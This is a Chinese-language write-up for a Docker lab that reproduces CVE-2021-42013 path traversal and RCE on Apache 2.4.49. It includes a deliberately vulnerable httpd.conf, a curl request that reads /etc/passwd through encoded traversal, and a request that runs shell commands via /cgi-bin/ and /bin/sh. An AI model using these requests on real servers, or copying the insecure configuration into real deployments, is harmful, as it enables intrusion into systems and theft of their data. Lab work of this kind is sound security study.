基于 Docker 的渗透测试实验室,用于模拟 Apache HTTP Server (2.4.49) 上的 CVE-2021-42013 漏洞 (Path Traversal & RCE)。
本项目旨在隔离环境中模拟并利用 (exploit) Apache HTTP Server (2.4.49) 上的 CVE-2021-42013 漏洞。研究过程中搭建了一个名为 docker-exploit-lab 的专用实验室环境,攻击场景通过同一网络中的受害者 (victim) 和攻击者 (attacker) 两台机器进行。
我们的实验室包含两个基本配置文件:定义 Victim/Attacker 机器的 Docker Compose 文件,以及使 Apache 服务器存在漏洞的配置文件。
docker-compose.yml该文件在 172.20.0.0/16 子网中创建一个隔离环境。攻击者机器启动时会自动安装攻击所需的 curl 工具。
services:
victim:
image: httpd:2.4.49
container_name: victim-box
volumes:
- ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
networks:
lab_net:
ipv4_address: 172.20.0.2
attacker:
command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
image: kalilinux/kali-rolling
container_name: attacker-box
tty: true
networks:
lab_net:
ipv4_address: 172.20.0.3
networks:
lab_net:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
my-httpd.conf为了能够触发漏洞,我们对根目录 () 和 CGI 目录授予了 Require all granted 权限,从而故意让服务器存在漏洞。 (重要提示:为避免出错,请确保该文件以不含 BOM (Byte Order Mark) 字符的纯 UTF-8 格式保存。)
Apache ServerRoot "/usr/local/apache2" Listen 80 LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authn_core_module modules/mod_authn_core.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule alias_module modules/mod_alias.so LoadModule cgid_module modules/mod_cgid.so User daemon Group daemon DocumentRoot "/usr/local/apache2/htdocs" AllowOverride none Require all granted ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin/"> AllowOverride None Options +ExecCGI Require all granted
要启动系统,请在当前工作目录下于终端中运行以下命令:
docker compose up -d
系统启动后,我们进入将要运行攻击命令的 Kali Linux 机器:
Bash
docker exec -it attacker-box /bin/bash
在 Kali 机器内部,我们向目标机器的固定 IP 地址 (172.20.0.2) 发送 URL 编码字符 (.%%32%65),从而触发目录穿越漏洞并读取 /etc/passwd 文件: Bash curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
由于我们在 Apache 配置中为 CGI 目录授予了权限,因此可以通过 /cgi-bin/ 使用相同的目录穿越逻辑,在服务器上直接执行 shell 命令。要运行 id 命令: Bash curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" 获得的成功输出:uid=1(daemon) gid=1(daemon) groups=1(daemon)
本研究通过实践演示了,在未更新的 Web 服务器上,一个看似无害的 Path Traversal 漏洞与错误配置的 CGI 模块权限相结合时,如何演变为完全权限的远程代码执行 (RCE)。